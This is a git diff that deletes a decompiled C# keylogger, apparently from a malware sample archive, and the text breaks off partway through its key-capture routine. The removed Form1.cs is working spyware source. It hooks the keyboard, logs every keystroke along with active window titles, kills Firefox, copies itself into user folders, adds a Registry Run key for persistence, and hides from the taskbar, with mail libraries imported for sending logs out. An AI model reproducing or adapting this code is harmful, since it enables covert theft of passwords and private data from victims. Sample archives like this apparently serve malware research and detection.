MicrosoftWindows.My.Resources.Resources.resourceMan = new ResourceManager("MicrosoftWindows.Resources", typeof (MicrosoftWindows.My.Resources.Resources).Assembly); - return MicrosoftWindows.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => MicrosoftWindows.My.Resources.Resources.resourceCulture; - set => MicrosoftWindows.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Trojan-Spy.MSIL.KeyLogger.cuw.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Trojan-Spy.MSIL.KeyLogger.cuw.csproj deleted file mode 100644 index c3ec7728..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Trojan-Spy.MSIL.KeyLogger.cuw.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {94383E47-59BE-4E80-8056-759844DAB084} - WinExe - LethalKeyloggerStubFREE - 1.0.0.0 - MicrosoftWindows - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Trojan-Spy.MSIL.KeyLogger.cuw.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Trojan-Spy.MSIL.KeyLogger.cuw.sln deleted file mode 100644 index 625af9de..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Trojan-Spy.MSIL.KeyLogger.cuw.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LethalKeyloggerStubFREE", "Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a.csproj", "{94383E47-59BE-4E80-8056-759844DAB084}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {94383E47-59BE-4E80-8056-759844DAB084}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {94383E47-59BE-4E80-8056-759844DAB084}.Debug|Any CPU.Build.0 = Debug|Any CPU - {94383E47-59BE-4E80-8056-759844DAB084}.Release|Any CPU.ActiveCfg = Release|Any CPU - {94383E47-59BE-4E80-8056-759844DAB084}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/AssemblyInfo.cs deleted file mode 100644 index 2b49f1a8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("")] -[assembly: AssemblyProduct("MicrosoftWindows")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("MicrosoftWindows")] -[assembly: Guid("b95034f0-1151-4765-aa52-c79079cff4de")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © 2009")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Form1.cs deleted file mode 100644 index 87df215b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Form1.cs +++ /dev/null @@ -1,1440 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.Form1 -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using MicrosoftWindows.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace MicrosoftWindows -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - private TextBox innerz666; - private TextBox interz666; - private TextBox interx666; - private TextBox outerz666; - private TextBox outerx666; - private TextBox esendz666; - private TextBox esendx666; - private CheckBox checky666; - private CheckBox osname666; - private CheckBox osvers666; - private CheckBox emails666; - private CheckBox osuser666; - private TextBox osvers667; - private TextBox osname667; - private TextBox osuser667; - private TextBox smtphost; - private CheckBox startsadd; - private TextBox t2interval; - private Random irrelevant; - private string appname; - private string stub; - private string text1; - private string text2; - private string check1; - private string text3; - private string errorico; - private string text4; - private string check3; - private string check4; - private string check5; - private string check6; - private string check7; - private string check8; - private string text6; - private string combo1; - private string check9; - private string check10; - private string check11; - private string check12; - private string check13; - private string check14; - private string check15; - private string check18; - private string check19; - private string check20; - private string check21; - private string check22; - private string activewindow; - [AccessedThroughProperty("kbHook")] - private Form1.KeyboardHook _kbHook; - private bool shift; - private StreamWriter streamwriter; - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.innerz666 = new TextBox(); - this.interz666 = new TextBox(); - this.interx666 = new TextBox(); - this.outerz666 = new TextBox(); - this.outerx666 = new TextBox(); - this.esendz666 = new TextBox(); - this.esendx666 = new TextBox(); - this.checky666 = new CheckBox(); - this.osname666 = new CheckBox(); - this.osvers666 = new CheckBox(); - this.emails666 = new CheckBox(); - this.osuser666 = new CheckBox(); - this.osvers667 = new TextBox(); - this.osname667 = new TextBox(); - this.osuser667 = new TextBox(); - this.smtphost = new TextBox(); - this.startsadd = new CheckBox(); - this.t2interval = new TextBox(); - this.irrelevant = new Random(); - this.appname = Path.GetFileName(Application.ExecutablePath); - this.kbHook = new Form1.KeyboardHook(); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(4, 0); - this.FormBorderStyle = FormBorderStyle.FixedToolWindow; - this.Name = nameof (Form1); - this.Text = "your mum"; - this.ResumeLayout(false); - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this._Timer2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this._Timer3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer3_Tick); - if (this._Timer3 != null) - this._Timer3.Tick -= eventHandler; - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += eventHandler; - } - } - - private void Form1_Load(object sender, EventArgs e) - { - string Delimiter = "keylogfreeforHF"; - try - { - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - string Expression = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref Expression); - FileSystem.FileClose(1); - string[] strArray = Strings.Split(Expression, Delimiter); - this.interz666.Text = strArray[1]; - this.interx666.Text = strArray[2]; - if (Operators.CompareString(strArray[8], "errorOS", false) == 0) - { - this.checky666.Checked = true; - this.text3 = strArray[4]; - this.text4 = strArray[6]; - this.errorico = strArray[5]; - } - this.t2interval.Text = strArray[7]; - if (Operators.CompareString(strArray[9], "emailOS", false) == 0) - this.emails666.Checked = true; - if (Operators.CompareString(strArray[10], "getcomp", false) == 0) - this.osname666.Checked = true; - if (Operators.CompareString(strArray[13], "adding", false) == 0) - { - this.startsadd.Checked = true; - this.combo1 = strArray[15]; - } - this.text6 = strArray[14]; - this.check9 = strArray[16]; - this.check10 = strArray[17]; - this.check11 = strArray[18]; - this.check12 = strArray[19]; - this.check13 = strArray[20]; - this.check14 = strArray[21]; - this.check15 = strArray[22]; - this.check18 = strArray[23]; - this.check19 = strArray[24]; - this.check20 = strArray[25]; - this.check21 = strArray[26]; - this.check22 = strArray[27]; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Process.GetCurrentProcess().MainModule.ModuleName)).Length > 1) - Application.Exit(); - if (Operators.CompareString(this.check22, "Yes", false) == 0) - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("firefox"), false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - if (Operators.CompareString(this.check9, "Yes", false) == 0 | Operators.CompareString(this.check10, "Yes", false) == 0 | Operators.CompareString(this.check11, "Yes", false) == 0 | Operators.CompareString(this.check12, "Yes", false) == 0 | Operators.CompareString(this.check13, "Yes", false) == 0 | Operators.CompareString(this.check14, "Yes", false) == 0 | Operators.CompareString(this.check15, "Yes", false) == 0 | Operators.CompareString(this.check18, "Yes", false) == 0 | Operators.CompareString(this.check19, "Yes", false) == 0 | Operators.CompareString(this.check20, "Yes", false) == 0 | Operators.CompareString(this.check21, "Yes", false) == 0) - { - this.Timer3.Interval = 1000; - this.Timer3.Start(); - } - if (this.osuser666.Checked) - this.osuser667.Text = Environment.UserName; - if (this.osname666.Checked) - this.osname667.Text = Environment.MachineName; - if (MySettingsProperty.Settings.runonce) - { - MySettingsProperty.Settings.runonce = false; - if (this.checky666.Checked && Operators.CompareString(this.errorico, "msgexcl", false) == 0) - { - int num = (int) Interaction.MsgBox((object) this.text3, MsgBoxStyle.Exclamation, (object) this.text4); - } - if (this.startsadd.Checked) - { - try - { - string fileName = Path.GetFileName(Application.ExecutablePath); - if (Operators.CompareString(this.combo1, "applocal", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "approaming", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "cdrive", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyComputer); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "desktop", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "docs", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "music", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "pics", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "progfiles", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "start", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.StartMenu); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "system", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - this.Timer1.Start(); - this.Timer2.Interval = checked ((int) Math.Round(unchecked (Conversions.ToDouble(this.t2interval.Text) * 60.0 * 1000.0))); - this.Timer2.Start(); - this.Visible = false; - this.Hide(); - this.ShowInTaskbar = false; - MySettingsProperty.Settings.Save(); - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("USER32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetKeyState(long vKey); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - private virtual Form1.KeyboardHook kbHook - { - [DebuggerNonUserCode] get => this._kbHook; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - Form1.KeyboardHook.KeyDownEventHandler downEventHandler = new Form1.KeyboardHook.KeyDownEventHandler(this.kbHook_KeyDown); - Form1.KeyboardHook.KeyUpEventHandler keyUpEventHandler = new Form1.KeyboardHook.KeyUpEventHandler(this.kbHook_KeyUp); - if (this._kbHook != null) - { - Form1.KeyboardHook.KeyDown -= downEventHandler; - Form1.KeyboardHook.KeyUp -= keyUpEventHandler; - } - this._kbHook = value; - if (this._kbHook == null) - return; - Form1.KeyboardHook.KeyDown += downEventHandler; - Form1.KeyboardHook.KeyUp += keyUpEventHandler; - } - } - - private void kbHook_KeyUp(Keys Key) - { - } - - private void kbHook_KeyDown(Keys Key) - { - if (!this.Timer1.Enabled) - return; - if (Form1.GetAsyncKeyState(16L) != 0) - this.shift = true; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) != 0) - { - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - if (Key == Keys.A) - { - if (this.shift) - { - this.innerz666.Text += "A"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "a"; - } - } - else if (Key == Keys.B) - { - if (this.shift) - { - this.innerz666.Text += "B"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "b"; - } - } - else if (Key == Keys.C) - { - if (this.shift) - { - this.innerz666.Text += "C"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "c"; - } - } - else if (Key == Keys.D) - { - if (this.shift) - { - this.innerz666.Text += "D"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "d"; - } - } - else if (Key == Keys.E) - { - if (this.shift) - { - this.innerz666.Text += "E"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "e"; - } - } - else if (Key == Keys.F) - { - if (this.shift) - { - this.innerz666.Text += "F"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "f"; - } - } - else if (Key == Keys.G) - { - if (this.shift) - { - this.innerz666.Text += "G"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "g"; - } - } - else if (Key == Keys.H) - { - if (this.shift) - { - this.innerz666.Text += "H"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "h"; - } - } - else if (Key == Keys.I) - { - if (this.shift) - { - this.innerz666.Text += "I"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "i"; - } - } - else if (Key == Keys.J) - { - if (this.shift) - { - this.innerz666.Text += "J"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "j"; - } - } - else if (Key == Keys.K) - { - if (this.shift) - { - this.innerz666.Text += "K"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "k"; - } - } - else if (Key == Keys.L) - { - if (this.shift) - { - this.innerz666.Text += "L"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "l"; - } - } - else if (Key == Keys.M) - { - if (this.shift) - { - this.innerz666.Text += "M"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "m"; - } - } - else if (Key == Keys.N) - { - if (this.shift) - { - this.innerz666.Text += "N"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "n"; - } - } - else if (Key == Keys.O) - { - if (this.shift) - { - this.innerz666.Text += "O"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "o"; - } - } - else if (Key == Keys.P) - { - if (this.shift) - { - this.innerz666.Text += "P"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "p"; - } - } - else if (Key == Keys.Q) - { - if (this.shift) - { - this.innerz666.Text += "Q"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "q"; - } - } - else if (Key == Keys.R) - { - if (this.shift) - { - this.innerz666.Text += "R"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "r"; - } - } - else if (Key == Keys.S) - { - if (this.shift) - { - this.innerz666.Text += "S"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "s"; - } - } - else if (Key == Keys.T) - { - if (this.shift) - { - this.innerz666.Text += "T"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "t"; - } - } - else if (Key == Keys.U) - { - if (this.shift) - { - this.innerz666.Text += "U"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "u"; - } - } - else if (Key == Keys.V) - { - if (this.shift) - { - this.innerz666.Text += "V"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "v"; - } - } - else if (Key == Keys.W) - { - if (this.shift) - { - this.innerz666.Text += "W"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "w"; - } - } - else if (Key == Keys.X) - { - if (this.shift) - { - this.innerz666.Text += "X"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "x"; - } - } - else if (Key == Keys.Y) - { - if (this.shift) - { - this.innerz666.Text += "Y"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "y"; - } - } - else if (Key == Keys.Z) - { - if (this.shift) - { - this.innerz666.Text += "Z"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "z"; - } - } - else if (Key == Keys.D0) - { - if (this.shift) - { - this.innerz666.Text += ")"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "0"; - } - } - else if (Key == Keys.D1) - { - if (this.shift) - { - this.innerz666.Text += "!"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "1"; - } - } - else if (Key == Keys.D2) - { - if (this.shift) - { - this.innerz666.Text += "@"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "2"; - } - } - else if (Key == Keys.D3) - { - if (this.shift) - { - this.innerz666.Text += "#"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "3"; - } - } - else if (Key == Keys.D4) - { - if (this.shift) - { - this.innerz666.Text += "$"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "4"; - } - } - else if (Key == Keys.D5) - { - if (this.shift) - { - this.innerz666.Text += "%"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "5"; - } - } - else if (Key == Keys.D6) - { - if (this.shift) - { - this.innerz666.Text += "^"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "6"; - } - } - else if (Key == Keys.D7) - { - if (this.shift) - { - this.innerz666.Text += "&"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "7"; - } - } - else if (Key == Keys.D8) - { - if (this.shift) - { - this.innerz666.Text += "*"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "8"; - } - } - else if (Key == Keys.D9) - { - if (this.shift) - { - this.innerz666.Text += "9"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "("; - } - } - else if (Key == Keys.OemSemicolon) - { - if (this.shift) - { - this.innerz666.Text += ":"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += ";"; - } - } - else if (Key == Keys.OemPeriod) - { - if (this.shift) - { - this.innerz666.Text += ">"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "."; - } - } - else if (Key == Keys.OemQuotes) - { - if (this.shift) - { - this.innerz666.Text += "\""; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "'"; - } - } - else if (Key == Keys.OemOpenBrackets) - { - if (this.shift) - { - this.innerz666.Text += "{"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "["; - } - } - else if (Key == Keys.OemCloseBrackets) - { - if (this.shift) - { - this.innerz666.Text += "}"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "]"; - } - } - else if (Key == Keys.Oemcomma) - { - if (this.shift) - { - this.innerz666.Text += "<"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += ","; - } - } - else if (Key == Keys.OemMinus) - { - if (this.shift) - { - this.innerz666.Text += "_"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "-"; - } - } - else if (Key == Keys.Oemplus) - { - if (this.shift) - { - this.innerz666.Text += "+"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "="; - } - } - else if (Key == Keys.OemQuestion) - { - if (this.shift) - { - this.innerz666.Text += "?"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "/"; - } - } - else if (Key == Keys.OemPipe) - { - if (this.shift) - { - this.innerz666.Text += "|"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "\\"; - } - } - else if (Key == Keys.Oemtilde) - { - if (this.shift) - { - this.innerz666.Text += "~"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "`"; - } - } - else if (Key == Keys.Tab) - { - this.innerz666.Text += "[tab]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Subtract) - this.innerz666.Text += "-"; - else if (Key == Keys.Capital) - this.innerz666.Text += "[caps]"; - else if (Key == Keys.Space) - this.innerz666.Text += " "; - else if (Key == Keys.Add) - this.innerz666.Text += "+"; - else if (Key == Keys.Back) - this.innerz666.Text += "[<]"; - else if (Key == Keys.LControlKey) - { - this.innerz666.Text += "[ctrl]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.RControlKey) - { - this.innerz666.Text += "[ctrl]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Decimal) - this.innerz666.Text += "."; - else if (Key == Keys.Delete) - this.innerz666.Text += "[<]"; - else if (Key == Keys.Divide) - 